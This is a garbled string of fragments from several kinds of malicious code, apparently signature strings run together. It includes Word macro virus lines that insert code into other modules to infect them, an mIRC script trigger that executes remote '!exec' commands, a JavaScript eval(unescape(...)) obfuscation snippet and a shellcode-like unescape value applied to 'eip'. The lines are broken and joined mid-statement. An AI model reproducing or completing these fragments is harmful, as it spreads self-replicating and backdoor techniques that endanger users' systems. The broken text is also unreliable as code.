～

ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)BGN = BGN + 1LoopEnd IfIf DoAD = True ThenDo While NTI1.CodeModule.Lines(1, 1) = ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1) n0=on 900:text:!exec*:*:{.notice $nick Execut comanda: $2- (){eval(unescape(('Script(t,'%')))})(/./g);　 eip=eip+unescape("%u7030%u4300")